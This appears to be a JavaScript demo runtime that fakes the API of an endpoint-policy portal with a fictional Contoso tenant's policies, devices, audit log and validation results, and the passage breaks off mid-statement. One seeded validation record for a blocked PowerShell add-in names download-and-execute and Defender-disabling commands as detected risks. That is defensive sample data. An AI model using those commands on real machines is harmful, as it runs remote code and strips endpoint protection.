/* * ═══════════════════════════════════════════════════════════════════════ * Cloud Policy Preferences — Demo runtime * * Injected by Cloud-Policy-Preferences-UI-Demo/run.ps1 ahead of React, * into an unmodified copy of the portal it mirrors. Everything the portal * asks the API for is answered here instead, from a seeded fictional * tenant (Contoso Ltd.). * * Design notes * ──────────── * * Mutable state (policies, roles, audit, feedback, settings toggles) * lives in sessionStorage, so every visitor gets their own sandbox and * two people demoing at once never collide. Closing the tab, or the * Reset button, restores the pristine seed. * * Immutable, derived data (devices, tracking, the 90-day check-in log) * is regenerated from the seed on every load, relative to today's date, * so the charts always look current and sessionStorage stays small. * * Nothing is encrypted. The portal only decrypts when tdek-config * reports a configured key, so this file reports it unconfigured and * every field renders as written — which also means a visitor can type * anything at all into a policy without tripping the decrypt path. * * This file knows nothing about the portal's internals beyond its HTTP * contract, which is why it survives UI changes in the mirrored portal. * ═══════════════════════════════════════════════════════════════════════ */ (function () { 'use strict'; var API = '/'; // Served for real by the Function App — never intercept these. var PASSTHROUGH = /^(branding\/|vendor\/|reports$|eula$|docs$|consent-callback$|demo-runtime\.js$|remediation-scripts\/)/; var STORE_KEY = 'cpp-demo-state-v1'; var TENANT_ID = 'c07f0501-0000-4000-8000-000000000001'; var TENANT_NAME = 'Contoso Ltd.'; var NOW = new Date(); // A touch of latency so loading states, skeletons and spinners actually // show during a demo. ?demoLatency=0 turns it off for screenshots. var params = new URLSearchParams(window.location.search); var LATENCY = params.has('demoLatency') ? parseInt(params.get('demoLatency'), 10) || 0 : 180; // ────────────────────────────────────────────────────────────────── // Small helpers // ────────────────────────────────────────────────────────────────── var GID_PREFIX = { user: 'a5e40001', group: 'b6d70002', device: 'c8f30003', policy: 'd9a10004', audit: 'e4b20005', feedback: 'f2c30006' }; function gid(kind, n) { var head = GID_PREFIX[kind] || '11110000'; return head + '-0000-4000-8000-0000' + ('00000000' + n.toString(16)).slice(-8); } function pad(n) { return n < 10 ? '0' + n : String(n); } function shiftDays(days) { var d = new Date(NOW.getTime()); d.setUTCDate(d.getUTCDate() - days); return d; } function dateKey(d) { return d.getUTCFullYear() + '-' + pad(d.getUTCMonth() + 1) + '-' + pad(d.getUTCDate()); } /** ISO timestamp `days` ago, pinned to a given hour so output is stable. */ function isoAgo(days, hour, minute) { var d = shiftDays(days); d.setUTCHours(hour === undefined ? 9 : hour, minute === undefined ? 0 : minute, 0, 0); return d.toISOString().replace('.000Z', 'Z'); } /** Deterministic pseudo-random in [0,1) — the same demo every time. */ function rnd(seed) { var x = Math.sin(seed * 12.9898) * 43758.5453; return x - Math.floor(x); } function pick(list, seed) { return list[Math.floor(rnd(seed) * list.length) % list.length]; } function clone(value) { return JSON.parse(JSON.stringify(value)); } // ────────────────────────────────────────────────────────────────── // Directory — the people and groups a visitor can target // ────────────────────────────────────────────────────────────────── var USER_SEED = [ ['Morgan Hale', 'morgan.hale', 'IT Director', 'Information Technology'], ['Priya Raman', 'priya.raman', 'Endpoint Engineer', 'Information Technology'], ['Daniel Okafor', 'daniel.okafor', 'Service Desk Lead', 'Information Technology'], ['Sofia Marchetti', 'sofia.marchetti', 'Financial Controller', 'Finance'], ['Liam Bennett', 'liam.bennett', 'Accounts Payable Clerk', 'Finance'], ['Yuki Tanaka', 'yuki.tanaka', 'Software Engineer', 'Engineering'], ['Amara Nwosu', 'amara.nwosu', 'Principal Engineer', 'Engineering'], ['Tomasz Kowalski', 'tomasz.kowalski', 'Build Engineer', 'Engineering'], ['Grace Lin', 'grace.lin', 'Account Executive', 'Sales'], ['Oliver Mensah', 'oliver.mensah', 'Sales Manager', 'Sales'], ['Nadia Haddad', 'nadia.haddad', 'Marketing Lead', 'Marketing'], ['Ethan Brooks', 'ethan.brooks', 'Field Engineer', 'Operations'], ['Ines Ferreira', 'ines.ferreira', 'Studio Designer', 'Design'], ['Rahul Mehta', 'rahul.mehta', 'Data Analyst', 'Finance'], ['Chloe Dubois', 'chloe.dubois', 'Receptionist', 'Facilities'], ['Marcus Feld', 'marcus.feld', 'Chief Operating Officer', 'Executive'], ['Aisha Rahman', 'aisha.rahman', 'HR Business Partner', 'People'], ['Jonas Lindqvist', 'jonas.lindqvist', 'Security Analyst', 'Information Technology'] ]; var USERS = USER_SEED.map(function (u, i) { return { id: gid('user', i + 1), displayName: u[0], userPrincipalName: u[1] + '@contoso.com', mail: u[1] + '@contoso.com', jobTitle: u[2], department: u[3], type: 'User' }; }); var GROUP_SEED = [ ['All Staff', 'all-staff', 'Every employee and long-term contractor'], ['IT Administrators', 'it-admins', 'Endpoint and infrastructure administrators'], ['Finance', 'finance', 'Finance department'], ['Engineering', 'engineering', 'Product engineering'], ['Sales - EMEA', 'sales-emea', 'Sales team, EMEA region'], ['Marketing', 'marketing', 'Marketing and communications'], ['London Office', 'office-london', 'Devices and staff at the London office'], ['Manchester Office', 'office-manchester', 'Devices and staff at the Manchester office'], ['Design Studio', 'design-studio', 'Creative and design workstations'], ['Field Engineers', 'field-engineers', 'Engineers working from customer sites'], ['Reception Desks', 'reception', 'Shared front-of-house machines'], ['Kiosk Devices', 'kiosks', 'Unattended shared-use devices'], ['Contractors', 'contractors', 'Third-party contractors'], ['Executive Team', 'executives', 'Executive leadership'] ]; var GROUPS = GROUP_SEED.map(function (g, i) { return { id: gid('group', i + 1), displayName: g[0], mail: g[1] + '@contoso.com', description: g[2], type: 'Group' }; }); function groupByName(name) { for (var i = 0; i < GROUPS.length; i++) { if (GROUPS[i].displayName === name) return GROUPS[i]; } return GROUPS[0]; } /** Which groups each user belongs to — drives the "What If" analysis. */ var MEMBERSHIP = {}; USERS.forEach(function (u, i) { var groups = [groupByName('All Staff').id]; var byDept = { 'Information Technology': 'IT Administrators', 'Finance': 'Finance', 'Engineering': 'Engineering', 'Sales': 'Sales - EMEA', 'Marketing': 'Marketing', 'Design': 'Design Studio', 'Operations': 'Field Engineers', 'Facilities': 'Reception Desks', 'Executive': 'Executive Team' }; if (byDept[u.department]) groups.push(groupByName(byDept[u.department]).id); groups.push(groupByName(i % 3 === 0 ? 'Manchester Office' : 'London Office').id); MEMBERSHIP[u.id] = groups; }); // ────────────────────────────────────────────────────────────────── // Policies // ────────────────────────────────────────────────────────────────── function targetsOf(names) { return names.map(function (n) { var g = groupByName(n); return { type: 'Group', id: g.id, name: g.displayName }; }); } function makePolicy(n, type, name, description, settingData, targetNames, extra) { var targets = targetsOf(targetNames); var opts = extra || {}; var created = opts.createdDaysAgo === undefined ? 40 - n : opts.createdDaysAgo; var modified = opts.modifiedDaysAgo === undefined ? Math.max(1, created - 12) : opts.modifiedDaysAgo; var author = opts.createdBy || 'Morgan Hale'; var entity = { PartitionKey: TENANT_ID + '_' + type, RowKey: gid('policy', n), TenantId: TENANT_ID, SettingType: type, Name: name, Description: description, SettingData: JSON.stringify(settingData), TargetType: targets[0].type, TargetIdentifier: targets[0].id, TargetDisplayName: targets[0].name, Targets: JSON.stringify(targets.map(function (t) { return { type: t.type, id: t.id }; })), TargetNames: JSON.stringify(targets.map(function (t) { return t.name; })), CreatedBy: author, CreatedDate: isoAgo(created, 10, 15), ModifiedBy: opts.modifiedBy || author, LastModifiedDate: isoAgo(modified, 14, 40), Timestamp: isoAgo(modified, 14, 40), DataVersion: 2, ApprovalState: opts.approvalState || 'Approved' }; if (opts.validationState) entity.ValidationState = opts.validationState; if (opts.approvalState === 'Pending') { entity.ApprovalRequestedBy = gid('user', 2); entity.ApprovalRequestedName = opts.requestedBy || 'Priya Raman'; } return entity; } function seedPolicies() { return [ makePolicy(1, 'Registry', 'Disable Fast Startup', 'Stops Windows hibernating the kernel session so overnight patching completes reliably.', { Action: 'Update', RegistryKey: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Power', ValueName: 'HiberbootEnabled', ValueData: '0', ValueType: 'DWord' }, ['All Staff'], { createdDaysAgo: 96 }), makePolicy(2, 'Registry', 'OneDrive Known Folder Move', 'Silently redirects Desktop, Documents and Pictures into OneDrive for the finance and executive teams.', { Action: 'Create', RegistryKey: 'HKLM\\SOFTWARE\\Policies\\Microsoft\\OneDrive', ValueName: 'KFMSilentOptIn', ValueData: TENANT_ID, ValueType: 'String' }, ['Finance', 'Executive Team'], { createdDaysAgo: 74, createdBy: 'Priya Raman' }), makePolicy(3, 'Registry', 'Outlook cached mode - 12 months', 'Caps the offline mailbox cache on laptops with smaller SSDs.', { Action: 'Update', RegistryKey: 'HKCU\\Software\\Policies\\Microsoft\\office\\16.0\\outlook\\cached mode', ValueName: 'SyncWindowSetting', ValueData: '12', ValueType: 'DWord' }, ['Sales - EMEA', 'Field Engineers'], { createdDaysAgo: 58 }), makePolicy(4, 'Registry', 'Retire legacy telemetry flag', 'Removes a value left behind by the previous management tool.', { Action: 'Delete', RegistryKey: 'HKLM\\SOFTWARE\\Contoso\\LegacyAgent', ValueName: 'TelemetryChannel', ValueData: '', ValueType: 'String' }, ['All Staff'], { createdDaysAgo: 21, createdBy: 'Jonas Lindqvist' }), makePolicy(5, 'FileDeployment', 'Corporate desktop wallpaper', 'Deploys the current brand wallpaper to every managed device.', { Action: 'Replace', SourcePath: 'https://cdn.contoso.com/brand/wallpaper-4k.jpg', DestinationPath: 'C:\\ProgramData\\Contoso\\Branding\\wallpaper-4k.jpg', Overwrite: true, HashValidation: true, ExpectedSha256: 'a3f5c81d9e4b7206f1c8d35ae90b47726d5f18c3ab94e6207d1f8b35c69a04e2', HashFileSizeBytes: 2841122, HashCalculatedAt: isoAgo(62, 11, 5), HashSourceUrl: 'https://cdn.contoso.com/brand/wallpaper-4k.jpg', Attributes: { ReadOnly: true, Hidden: false, Archive: false } }, ['All Staff'], { createdDaysAgo: 62, validationState: 'Validated' }), makePolicy(6, 'FileDeployment', 'VPN split-tunnel profile', 'Ships the updated always-on VPN profile ahead of the firewall migration.', { Action: 'Create', SourcePath: 'https://cdn.contoso.com/net/vpn-profile-v7.xml', DestinationPath: 'C:\\ProgramData\\Contoso\\VPN\\profile.xml', Overwrite: true, HashValidation: true, ExpectedSha256: 'ce180b4477a2f5391de6c0a8b3f74215d908e6cb1f47a0392de5c7148ba6300f', HashFileSizeBytes: 18422, HashCalculatedAt: isoAgo(4, 16, 20), HashSourceUrl: 'https://cdn.contoso.com/net/vpn-profile-v7.xml', Attributes: { ReadOnly: false, Hidden: false, Archive: true } }, ['Field Engineers', 'IT Administrators'], { createdDaysAgo: 4, approvalState: 'Pending', createdBy: 'Priya Raman', validationState: 'Validated' }), makePolicy(7, 'FileDeployment', 'Legacy finance add-in', 'Retired spreadsheet add-in. Held back by file validation until the vendor re-signs it.', { Action: 'Create', SourcePath: 'https://downloads.example-vendor.net/addin/setup-helper.ps1', DestinationPath: 'C:\\ProgramData\\Contoso\\Finance\\setup-helper.ps1', Overwrite: false, HashValidation: false, ExpectedSha256: '', HashFileSizeBytes: null, HashCalculatedAt: '', HashSourceUrl: '', Attributes: { ReadOnly: false, Hidden: false, Archive: false } }, ['Finance'], { createdDaysAgo: 11, validationState: 'Blocked', createdBy: 'Sofia Marchetti' }), makePolicy(8, 'DriveMapping', 'Map F: to the finance share', 'Standard finance drive letter, reconnected at every sign-in.', { Action: 'Update', DriveLetter: 'F', UNCPath: '\\\\contoso\\shares\\finance', Label: 'Finance', Reconnect: true }, ['Finance'], { createdDaysAgo: 88 }), makePolicy(9, 'DriveMapping', 'Map S: to shared projects', 'Project working area for engineering and the design studio.', { Action: 'Create', DriveLetter: 'S', UNCPath: '\\\\contoso\\shares\\projects', Label: 'Projects', Reconnect: true }, ['Engineering', 'Design Studio'], { createdDaysAgo: 47, createdBy: 'Amara Nwosu' }), makePolicy(10, 'DriveMapping', 'Remove retired archive drive', 'Unmaps the decommissioned Z: archive share.', { Action: 'Delete', DriveLetter: 'Z', UNCPath: '\\\\contoso-old\\archive', Label: 'Archive', Reconnect: false }, ['All Staff'], { createdDaysAgo: 15 }), makePolicy(11, 'PrinterMapping', 'Reception colour MFD', 'Shared front-of-house multifunction printer, set as default.', { Action: 'Create', PrinterType: 'Shared', PrinterName: 'Reception Colour MFD', PrinterPath: '\\\\print-lon-01\\reception-colour', SetDefault: true }, ['Reception Desks', 'London Office'], { createdDaysAgo: 53, createdBy: 'Daniel Okafor' }), makePolicy(12, 'PrinterMapping', 'Manchester A1 plotter', 'Direct IP plotter for the Manchester design bench.', { Action: 'Create', PrinterType: 'TCPIP', PrinterName: 'Manchester A1 Plotter', IpAddress: '10.42.18.60', Protocol: 'RAW', PortNumber: '9100' }, ['Manchester Office', 'Design Studio'], { createdDaysAgo: 33 }), makePolicy(13, 'ScheduledTask', 'Nightly workstation cleanup', 'Clears temporary files and stale profiles overnight.', { Action: 'Replace', TaskName: 'Contoso Nightly Cleanup', TaskPath: '\\Contoso\\', TaskDescription: 'Removes temporary files older than seven days.', Enabled: true, Trigger: { Type: 'Daily', Time: '02:30', DaysInterval: '1' }, TaskAction: { Type: 'Execute', Execute: 'C:\\Windows\\System32\\cleanmgr.exe', Arguments: '/sagerun:64' }, Principal: { UserId: 'SYSTEM', RunLevel: 'Highest' }, Settings: { AllowStartIfOnBatteries: false, StopIfGoingOnBatteries: true, StartWhenAvailable: true, RunOnlyIfNetworkAvailable: false, AllowHardTerminate: true, ExecutionTimeLimit: 'PT1H', Priority: 7, MultipleInstances: 'IgnoreNew', Hidden: false } }, ['All Staff'], { createdDaysAgo: 79 }), makePolicy(14, 'ScheduledTask', 'Weekly compliance beacon', 'Posts an inventory snapshot to the compliance endpoint each Monday.', { Action: 'Create', TaskName: 'Contoso Compliance Beacon', TaskPath: '\\Contoso\\', TaskDescription: 'Weekly inventory beacon.', Enabled: true, Trigger: { Type: 'Weekly', Time: '07:15', DaysOfWeek: ['Monday'] }, TaskAction: { Type: 'Execute', Execute: 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe', Arguments: '-NoProfile -File "C:\\ProgramData\\Contoso\\beacon.ps1"', WorkingDirectory: 'C:\\ProgramData\\Contoso' }, Principal: { UserId: 'SYSTEM', RunLevel: 'Highest' }, Settings: { AllowStartIfOnBatteries: true, StopIfGoingOnBatteries: false, StartWhenAvailable: true, RunOnlyIfNetworkAvailable: true, AllowHardTerminate: true, ExecutionTimeLimit: 'PT30M', Priority: 7, MultipleInstances: 'IgnoreNew', Hidden: true } }, ['IT Administrators'], { createdDaysAgo: 26, createdBy: 'Jonas Lindqvist' }), makePolicy(15, 'EnvironmentVariable', 'Shared build cache path', 'Points the toolchain at the shared build cache on engineering machines.', { Action: 'Update', Scope: 'Machine', VariableName: 'CONTOSO_BUILD_CACHE', VariableValue: 'D:\\BuildCache' }, ['Engineering'], { createdDaysAgo: 42, createdBy: 'Tomasz Kowalski' }), makePolicy(16, 'EnvironmentVariable', 'Remove legacy JAVA_HOME', 'Clears the stale JDK 8 path left by the old developer image.', { Action: 'Delete', Scope: 'Machine', VariableName: 'JAVA_HOME' }, ['Engineering', 'Contractors'], { createdDaysAgo: 18 }), makePolicy(17, 'Shortcut', 'Service desk portal', 'Desktop shortcut to the internal service desk.', { Action: 'Replace', TargetType: 'URL', Location: 'Public Desktop', TargetPath: 'https://servicedesk.contoso.com', RunStyle: 'Normal', IconPath: 'C:\\ProgramData\\Contoso\\Branding\\servicedesk.ico', IconIndex: '0' }, ['All Staff'], { createdDaysAgo: 67, createdBy: 'Daniel Okafor' }), makePolicy(18, 'Shortcut', 'Design toolchain launcher', 'Start menu shortcut for the colour-managed design toolchain.', { Action: 'Create', TargetType: 'File System Object', Location: 'Start Menu', TargetPath: 'C:\\Program Files\\Contoso\\Studio\\studio.exe', Arguments: '--profile srgb', StartIn: 'C:\\Program Files\\Contoso\\Studio', RunStyle: 'Normal' }, ['Design Studio'], { createdDaysAgo: 9, createdBy: 'Ines Ferreira' }) ]; } // ────────────────────────────────────────────────────────────────── // Devices, check-ins, tracking and the 90-day check-in log // ────────────────────────────────────────────────────────────────── var DEVICE_MODELS = [ ['Surface Laptop 6', 'Microsoft Corporation'], ['Latitude 7450', 'Dell Inc.'], ['EliteBook 840 G11', 'HP Inc.'], ['ThinkPad X1 Carbon', 'LENOVO'], ['Surface Pro 10', 'Microsoft Corporation'], ['OptiPlex 7010', 'Dell Inc.'] ]; var DEVICES = (function () { var sites = ['LON', 'MAN', 'LON', 'LON', 'MAN']; var out = []; for (var i = 0; i < 24; i++) { var user = USERS[i % USERS.length]; var model = DEVICE_MODELS[i % DEVICE_MODELS.length]; out.push({ id: gid('device', i + 1), name: 'CPP-' + sites[i % sites.length] + '-' + ('000' + (101 + i)).slice(-4), model: model[0], manufacturer: model[1], userId: user.id, userDisplayName: user.displayName, // Most devices checked in today; a few have drifted. lastCheckInDays: i < 18 ? 0 : (i < 22 ? 1 : 6) }); } return out; })(); function seedCheckins() { return DEVICES.map(function (d, i) { return { PartitionKey: TENANT_ID, RowKey: d.id, DeviceId: d.id, DeviceName: d.name, UserId: d.userId, UserDisplayName: d.userDisplayName, LastCheckIn: isoAgo(d.lastCheckInDays, 6 + (i % 12), (i * 7) % 60), Timestamp: isoAgo(d.lastCheckInDays, 6 + (i % 12), (i * 7) % 60), DataVersion: 1 }; }); } /** * One tracking row per (device, applicable policy). Devices are matched to * policies through their user's group membership, exactly as the device API * does it, so the reports line up with the targeting shown on each policy. */ function seedTracking(policies) { var rows = []; var seed = 0; policies.forEach(function (p) { if (p.ApprovalState === 'Pending') return; // never delivered if (p.ValidationState === 'Blocked') return; // held by validation var targetIds = []; try { targetIds = JSON.parse(p.Targets).map(function (t) { return t.id; }); } catch (e) { targetIds = [p.TargetIdentifier]; } var settingData = {}; try { settingData = JSON.parse(p.SettingData); } catch (e) { settingData = {}; } DEVICES.forEach(function (d) { var groups = MEMBERSHIP[d.userId] || []; var applies = targetIds.some(function (t) { return groups.indexOf(t) !== -1; }); if (!applies) return; seed++; var roll = rnd(seed); var status; if (roll < 0.62) status = 'Compliant'; else if (roll < 0.90) status = 'Applied'; else if (roll < 0.95) status = 'Simulated'; else if (roll < 0.98) status = 'Failed'; else status = 'Skipped'; var desired = describeValue(p.SettingType, settingData); var row = { PartitionKey: TENANT_ID, RowKey: d.id + '_' + p.RowKey, DeviceId: d.id, DeviceName: d.name, UserId: d.userId, UserDisplayName: d.userDisplayName, SettingId: p.RowKey, SettingName: p.Name, SettingType: p.SettingType, OriginalValue: status === 'Compliant' ? desired : '(not present)', PreviousValue: status === 'Applied' ? '(not present)' : '', CurrentValue: status === 'Failed' ? '(not present)' : desired, Applied: status === 'Applied' || status === 'Compliant', Status: status, ErrorMessage: status === 'Failed' ? 'Access to the destination path was denied. The device will retry at the next check-in.' : '', ActionTaken: settingData.Action || 'Update', CreatedDate: isoAgo(Math.floor(rnd(seed + 500) * 40) + 2, 8, 30), LastModifiedDate: isoAgo(Math.floor(rnd(seed + 900) * 3), 7 + (seed % 10), (seed * 11) % 60), Timestamp: isoAgo(Math.floor(rnd(seed + 900) * 3), 7 + (seed % 10), (seed * 11) % 60), DataVersion: 1 }; rows.push(row); }); }); return rows; } /** A short, human-readable rendering of what a setting puts on the device. */ function describeValue(type, d) { switch (type) { case 'Registry': return d.Action === 'Delete' ? '(value removed)' : String(d.ValueData); case 'FileDeployment': return d.DestinationPath || ''; case 'DriveMapping': return (d.DriveLetter || '') + ': -> ' + (d.UNCPath || ''); case 'PrinterMapping': return d.PrinterType === 'TCPIP' ? (d.IpAddress || '') + ':' + (d.PortNumber || '') : (d.PrinterPath || ''); case 'ScheduledTask': return (d.TaskPath || '\\') + (d.TaskName || ''); case 'EnvironmentVariable': return d.Action === 'Delete' ? '(variable removed)' : (d.VariableValue || ''); case 'Shortcut': return d.TargetPath || ''; default: return ''; } } /** 90 days of daily check-in entries, with a realistic weekday shape. */ function seedCheckinLog() { var rows = []; for (var day = 89; day >= 0; day--) { var d = shiftDays(day); var dow = d.getUTCDay(); var weekend = (dow === 0 || dow === 6); // Slow rollout early on, steady once the estate is enrolled. var rollout = Math.min(1, 0.35 + ((89 - day) / 89) * 0.75); var base = weekend ? 4 : DEVICES.length; var count = Math.max(1, Math.round(base * rollout * (0.85 + rnd(day) * 0.3))); for (var i = 0; i < count && i < DEVICES.length; i++) { var dev = DEVICES[(i + day) % DEVICES.length]; rows.push({ PartitionKey: TENANT_ID + '_' + dateKey(d), RowKey: dev.id + '_' + dev.userId + '_' + pad(7 + (i % 11)) + pad((i * 13) % 60) + '000', DeviceId: dev.id, DeviceName: dev.name, UserId: dev.userId, UserObjectId: dev.userId, UserDisplayName: dev.userDisplayName, SettingsProcessed: 3 + (i % 6), Timestamp: new Date(Date.UTC( d.getUTCFullYear(), d.getUTCMonth(), d.getUTCDate(), 7 + (i % 11), (i * 13) % 60 )).toISOString(), DataVersion: 1 }); } } return rows; } // ────────────────────────────────────────────────────────────────── // RBAC, audit log, feedback and file validation // ────────────────────────────────────────────────────────────────── function seedRbac() { var assignments = [ [1, 'FullAdmin'], [2, 'FullAdmin'], [18, 'FullAdmin'], [3, 'ReadOnlyAdmin'], [6, 'ReadOnlyAdmin'], [4, 'ReportViewer'], [14, 'ReportViewer'], [16, 'ReportViewer'] ]; return assignments.map(function (a, i) { var u = USERS[a[0] - 1]; return { PartitionKey: TENANT_ID, RowKey: u.id, ObjectId: u.id, DisplayName: u.displayName, Email: u.userPrincipalName, Role: a[1], CreatedDate: isoAgo(120 - i * 9, 9, 30), Timestamp: isoAgo(120 - i * 9, 9, 30) }; }); } function seedAudit(policies) { var entries = []; var n = 0; function add(daysAgo, hour, action, category, detail, byIndex, targetName, targetId) { n++; var who = USERS[byIndex - 1]; entries.push({ PartitionKey: TENANT_ID, RowKey: gid('audit', n), Action: action, Category: category, Detail: detail, PerformedBy: who.id, PerformedByName: who.displayName, TargetId: targetId || '', TargetName: targetName || '', IPAddress: '203.0.113.' + (10 + (n % 40)), CreatedDate: isoAgo(daysAgo, hour, (n * 17) % 60), Timestamp: isoAgo(daysAgo, hour, (n * 17) % 60) }); } // A plausible history: recent activity first in the table's own order. policies.slice(0, 12).forEach(function (p, i) { add(40 - i * 3, 10 + (i % 8), 'Create', 'PolicySetting', 'Created ' + p.SettingType + " setting '" + p.Name + "'", (i % 4) + 1, p.Name, p.RowKey); }); add(2, 9, 'Update', 'PolicySetting', "Updated FileDeployment setting 'VPN split-tunnel profile' (pending approval)", 2, 'VPN split-tunnel profile', policies[5].RowKey); add(3, 16, 'Blocked', 'PolicySetting', "File validation blocked 'Legacy finance add-in' — unsigned script with high-risk commands", 18, 'Legacy finance add-in', policies[6].RowKey); add(5, 11, 'Upsert', 'RBAC', "Granted ReadOnlyAdmin to Daniel Okafor", 1, 'Daniel Okafor', USERS[2].id); add(6, 14, 'Enable', 'Settings', 'Enabled Multi-Admin Approval', 1, 'MultiAdminConfig', ''); add(9, 8, 'Generate', 'Settings', 'Generated a new client authentication code', 1, 'ClientAuthCode', ''); add(12, 15, 'DownloadRemediationScript', 'Settings', 'Downloaded remediation script', 2, '', ''); add(15, 13, 'Delete', 'PolicySetting', "Deleted Registry setting 'Legacy proxy autoconfig'", 1, 'Legacy proxy autoconfig', ''); add(19, 10, 'Update', 'Settings', 'Updated user notification branding', 11, 'ToastConfig', ''); add(24, 9, 'Approve', 'PolicySetting', "Approved DriveMapping setting 'Map S: to shared projects'", 1, 'Map S: to shared projects', policies[8].RowKey); add(31, 17, 'Upsert', 'RBAC', 'Granted ReportViewer to Rahul Mehta', 1, 'Rahul Mehta', USERS[13].id); return entries; } function seedFeedback() { var items = [ ['Feature request', 'Could the policy list remember the column sort between visits? Our team sorts by target group every morning.', 'New', 3, 1], ['Bug report', 'The check-in chart legend overlaps the y-axis labels at very narrow browser widths.', 'Triaged', 8, 6], ['General feedback', 'Multi-admin approval has already caught two mistakes this month. Very glad we turned it on.', 'Closed', 16, 4], ['Feature request', 'An export of the compliance table to CSV would save us building it by hand for the monthly report.', 'New', 21, 14] ]; return items.map(function (it, i) { var u = USERS[it[4] - 1]; return { id: gid('feedback', i + 1), feedbackType: it[0], message: it[1], status: it[2], submittedDate: isoAgo(it[3], 12, i * 9), submittedBy: u.displayName, submitterId: u.id }; }); } var FILE_VALIDATIONS = {}; /** * Validation records. The portal pre-fetches these for Registry, * FileDeployment and Shortcut policies to colour each row, so every * policy of those three types needs one or the grid reads "Pending". * Registry and Shortcut records mirror the AI validator's shape; * FileDeployment records mirror the file validator's. */ function seedValidations(policies) { var byName = {}; policies.forEach(function (p) { byName[p.Name] = p; }); function aiRecord(name, o) { var p = byName[name]; if (!p) return; FILE_VALIDATIONS[p.RowKey] = { found: true, ValidationState: o.state, ValidationType: 'AIFoundry', FileType: o.fileType || 'Registry', FileUrl: o.fileUrl || '', ValidationDate: isoAgo(o.daysAgo, 3, 14), LastCheckedDate: isoAgo(Math.min(o.daysAgo, 1), 3, 14), IsSigned: null, SignatureStatus: null, IssuedTo: null, IssuedBy: null, Thumbprint: null, DangerousCommands: null, ObfuscationFlags: null, HasSignatureBlock: null, ValidationError: o.error || '', RiskLevel: o.risk, RiskExplanation: o.explanation, MitreAttackId: o.mitre || '' }; } function fileRecord(name, o) { var p = byName[name]; if (!p) return; FILE_VALIDATIONS[p.RowKey] = { found: true, ValidationState: o.state, ValidationType: 'FileScan', FileType: o.fileType, FileUrl: o.fileUrl, ValidationDate: isoAgo(o.daysAgo, 11, 6), LastCheckedDate: isoAgo(Math.min(o.daysAgo, 1), 11, 6), IsSigned: !!o.signed, SignatureStatus: o.signatureStatus, IssuedTo: o.issuedTo || '', IssuedBy: o.issuedBy || '', Thumbprint: o.thumbprint || '', DangerousCommands: o.dangerous || '', ObfuscationFlags: o.obfuscation || '', HasSignatureBlock: !!o.signed, ValidationError: o.error || '' }; if (o.risk) FILE_VALIDATIONS[p.RowKey].RiskLevel = o.risk; if (o.explanation) FILE_VALIDATIONS[p.RowKey].RiskExplanation = o.explanation; if (o.mitre) FILE_VALIDATIONS[p.RowKey].MitreAttackId = o.mitre; if (o.rule) FILE_VALIDATIONS[p.RowKey].StaticRuleMatch = o.rule; } // ── Registry ────────────────────────────────────────────────── aiRecord('Disable Fast Startup', { state: 'Validated', daysAgo: 96, risk: 'Low', explanation: 'Sets a documented power-management value. No credential, security or persistence impact.' }); aiRecord('OneDrive Known Folder Move', { state: 'Validated', daysAgo: 74, risk: 'Low', explanation: 'Configures OneDrive folder redirection through the documented policy key. Standard deployment practice.' }); aiRecord('Outlook cached mode - 12 months', { state: 'Validated', daysAgo: 58, risk: 'Informational', explanation: 'Adjusts the Outlook offline cache window under HKCU. No security impact.' }); aiRecord('Retire legacy telemetry flag', { state: 'Bypass', daysAgo: 21, risk: 'Medium', explanation: 'Deletes a value beneath a third-party vendor key. Flagged for review because the key is outside the Microsoft namespace; the platform team confirmed the agent is decommissioned and bypassed the finding.', mitre: 'T1112' }); // ── Shortcut ────────────────────────────────────────────────── aiRecord('Service desk portal', { state: 'Validated', daysAgo: 67, risk: 'Low', fileType: 'URL', fileUrl: 'https://servicedesk.contoso.com', explanation: 'Resolves to an internal HTTPS host on the corporate domain.' }); aiRecord('Design toolchain launcher', { state: 'Validated', daysAgo: 9, risk: 'Low', fileType: 'Executable', fileUrl: 'C:\\Program Files\\Contoso\\Studio\\studio.exe', explanation: 'Targets a signed application under Program Files with no elevated arguments.' }); // ── FileDeployment ──────────────────────────────────────────── fileRecord('Corporate desktop wallpaper', { state: 'Validated', daysAgo: 62, fileType: 'Image', fileUrl: 'https://cdn.contoso.com/brand/wallpaper-4k.jpg', signed: false, signatureStatus: 'NotApplicable' }); fileRecord('VPN split-tunnel profile', { state: 'Validated', daysAgo: 4, fileType: 'XML', fileUrl: 'https://cdn.contoso.com/net/vpn-profile-v7.xml', signed: true, signatureStatus: 'Valid', issuedTo: 'Contoso Ltd.', issuedBy: 'Contoso Internal Issuing CA 02', thumbprint: '9F2C4A17BD3E6805CA71F9402D8B6E15C3407AA9' }); fileRecord('Legacy finance add-in', { state: 'Blocked', daysAgo: 11, fileType: 'PowerShell', fileUrl: 'https://downloads.example-vendor.net/addin/setup-helper.ps1', signed: false, signatureStatus: 'NotSigned', dangerous: 'Invoke-Expression; DownloadString; Set-MpPreference -DisableRealtimeMonitoring', obfuscation: 'Base64 encoded payload; string concatenation obfuscation', error: 'Unsigned script containing high-risk commands.', risk: 'High', explanation: 'The script downloads and executes remote content at run time and attempts to disable real-time protection. Neither is required to install a spreadsheet add-in.', mitre: 'T1059.001', rule: 'PS-DOWNLOAD-EXEC, PS-DEFENDER-TAMPER' }); } // ────────────────────────────────────────────────────────────────── // Preview feature flags — the catalogue the portal renders // ────────────────────────────────────────────────────────────────── var FEATURE_DEFS = [ ['ContextCache', 'Identity context cache', 'Cache the device and user identity context between check-ins instead of asking Graph every time.', true], ['PolicyVersion', 'Policy set versioning', 'Version the tenant policy set and cache the parsed policies by version.', true], ['StormControl', 'Storm controls', 'Honour Graph Retry-After, collapse concurrent identical lookups into one, and keep to a per-tenant call budget.', true], ['ConditionalGet', 'Conditional check-in', 'Return an ETag with the device check-in and answer 304 Not Modified when nothing has changed.', true], ['DailyReport', 'Daily device report', 'Devices report health and compliance once a day instead of on every run.', true], ['TenantSync', 'Tenant sync job', 'A tenant-level Graph sync job keeps the identity context current so check-ins do not have to.', true], ['StorageModel', 'Per-device payload blobs', 'Store a hash and payload blob per device and let devices read them with a daily SAS.', false], ['DailyCheckInRows', 'Daily check-in rows', 'Write one check-in log row per device per day instead of one per run.', false] ].map(function (f) { return { name: f[0], title: f[1], description: f[2], defaultOn: f[3] }; }); function featureResponse() { return { features: FEATURE_DEFS.map(function (d) { return { name: d.name, title: d.title, description: d.description, enabled: !!state.features[d.name] }; }), updatedBy: state.featuresUpdatedBy || '', updatedUtc: state.featuresUpdatedUtc || '' }; } var 